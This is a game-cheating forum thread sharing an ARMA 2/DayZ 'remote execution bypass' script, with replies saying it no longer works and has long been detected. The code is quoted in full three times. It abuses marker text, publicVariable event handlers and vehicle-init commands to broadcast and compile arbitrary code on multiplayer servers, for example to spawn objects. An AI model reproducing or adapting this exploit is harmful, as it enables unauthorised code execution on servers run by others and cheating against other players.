(I think) Working remote execution bypass

Posts 115 of 15 · Page 1 of 1
(I think) Working remote execution bypass
Been using it for a few days without any problems.

Code:
local_publishObj = {
//[dayz_characterID,_tent,[_dir,_location],"TentStorage"]
_charID =		_this select 0;
_object = 		_this select 1;
_worldspace = 	_this select 2;
_className = 	_this select 3;
_id =			0;

diag_log ("PUBLISH: Attempt " + str(_object));
_dir = 		_worldspace select 0;
_location = _worldspace select 1;

_object = createVehicle [_className, _location, [], 0, "CAN_COLLIDE"];
_object setdir _dir;
_object setpos _location;
_object setVariable ["OwnerID", _charID, true];

//add to database
dayz_serverObjectMonitor set [count dayz_serverObjectMonitor,_object];

//get UID
_uid = _object call dayz_objectUID;

_object setVariable ["ObjectUID", _uid, true];
};

_code = _this select 0;

deleteMarker "dwarden";
marker = "dwarden";
marker = createMarker [marker, [0,0,0]];

if (isNil ("hangender") ) then {
	hangender = 1;
	marker setMarkerBrush format[" local_publishObj = %1; ""norrnRACarUp"" addPublicVariableEventHandler {call compile markerText ""dwarden""; }; code ", local_publishObj];
	norrnRACarUp = [{ dayzJizz = markerBrush "dwarden"; }];
	publicVariable "norrnRACarUp";

	player setVehicleInit "isnil( (norrnRACarUp select 0) ); isnil( {rpcCodeVarName =  {_this}; } ); _this = [dayzJizz, """"]; isnil(registerBroadcastRpc);";
	processInitCommands;
	clearVehicleInit player;
	sleep 1;
	hint "Init RE";
};

marker setMarkerText _code;
norrnRACarUp = [];
publicVariable "norrnRACarUp";
Quote Originally Posted by Jim Morrison View Post
Have you been able to spawn vehicles?
WHAT HE SAID
^ does it actually let you spawn vehicles/buildings?
If anyone wants to give me a key I can test this out *Wink wink*
TESTED re dosent work cannot spawn vehicle
Detect!
hah..
Detected long while ago... Worked in 1.7.4.4
Quote Originally Posted by Axisofaj View Post
Been using it for a few days without any problems.

Code:
local_publishObj = {
//[dayz_characterID,_tent,[_dir,_location],"TentStorage"]
_charID =		_this select 0;
_object = 		_this select 1;
_worldspace = 	_this select 2;
_className = 	_this select 3;
_id =			0;

diag_log ("PUBLISH: Attempt " + str(_object));
_dir = 		_worldspace select 0;
_location = _worldspace select 1;

_object = createVehicle [_className, _location, [], 0, "CAN_COLLIDE"];
_object setdir _dir;
_object setpos _location;
_object setVariable ["OwnerID", _charID, true];

//add to database
dayz_serverObjectMonitor set [count dayz_serverObjectMonitor,_object];

//get UID
_uid = _object call dayz_objectUID;

_object setVariable ["ObjectUID", _uid, true];
};

_code = _this select 0;

deleteMarker "dwarden";
marker = "dwarden";
marker = createMarker [marker, [0,0,0]];

if (isNil ("hangender") ) then {
	hangender = 1;
	marker setMarkerBrush format[" local_publishObj = %1; ""norrnRACarUp"" addPublicVariableEventHandler {call compile markerText ""dwarden""; }; code ", local_publishObj];
	norrnRACarUp = [{ dayzJizz = markerBrush "dwarden"; }];
	publicVariable "norrnRACarUp";

	player setVehicleInit "isnil( (norrnRACarUp select 0) ); isnil( {rpcCodeVarName =  {_this}; } ); _this = [dayzJizz, """"]; isnil(registerBroadcastRpc);";
	processInitCommands;
	clearVehicleInit player;
	sleep 1;
	hint "Init RE";
};

marker setMarkerText _code;
norrnRACarUp = [];
publicVariable "norrnRACarUp";
Using it how exactly?
Quote Originally Posted by Axisofaj View Post
Been using it for a few days without any problems.

Code:
local_publishObj = {
//[dayz_characterID,_tent,[_dir,_location],"TentStorage"]
_charID =		_this select 0;
_object = 		_this select 1;
_worldspace = 	_this select 2;
_className = 	_this select 3;
_id =			0;

diag_log ("PUBLISH: Attempt " + str(_object));
_dir = 		_worldspace select 0;
_location = _worldspace select 1;

_object = createVehicle [_className, _location, [], 0, "CAN_COLLIDE"];
_object setdir _dir;
_object setpos _location;
_object setVariable ["OwnerID", _charID, true];

//add to database
dayz_serverObjectMonitor set [count dayz_serverObjectMonitor,_object];

//get UID
_uid = _object call dayz_objectUID;

_object setVariable ["ObjectUID", _uid, true];
};

_code = _this select 0;

deleteMarker "dwarden";
marker = "dwarden";
marker = createMarker [marker, [0,0,0]];

if (isNil ("hangender") ) then {
	hangender = 1;
	marker setMarkerBrush format[" local_publishObj = %1; ""norrnRACarUp"" addPublicVariableEventHandler {call compile markerText ""dwarden""; }; code ", local_publishObj];
	norrnRACarUp = [{ dayzJizz = markerBrush "dwarden"; }];
	publicVariable "norrnRACarUp";

	player setVehicleInit "isnil( (norrnRACarUp select 0) ); isnil( {rpcCodeVarName =  {_this}; } ); _this = [dayzJizz, """"]; isnil(registerBroadcastRpc);";
	processInitCommands;
	clearVehicleInit player;
	sleep 1;
	hint "Init RE";
};

marker setMarkerText _code;
norrnRACarUp = [];
publicVariable "norrnRACarUp";
i cant run the infistars menu becouse it freezes when pressing F1
TESTED re dosent work cannot spawn vehicle
Jesus fucking christ, stop bumping the thread it's already been established that it isn't working anymore.
Quote Originally Posted by Axisofaj View Post
Jesus fucking christ, stop bumping the thread it's already been established that it isn't working anymore.
That's ironic because you just bumped. The post before you was 17 hours ago, there was no need for your post about bumping.
Posts 115 of 15 · Page 1 of 1

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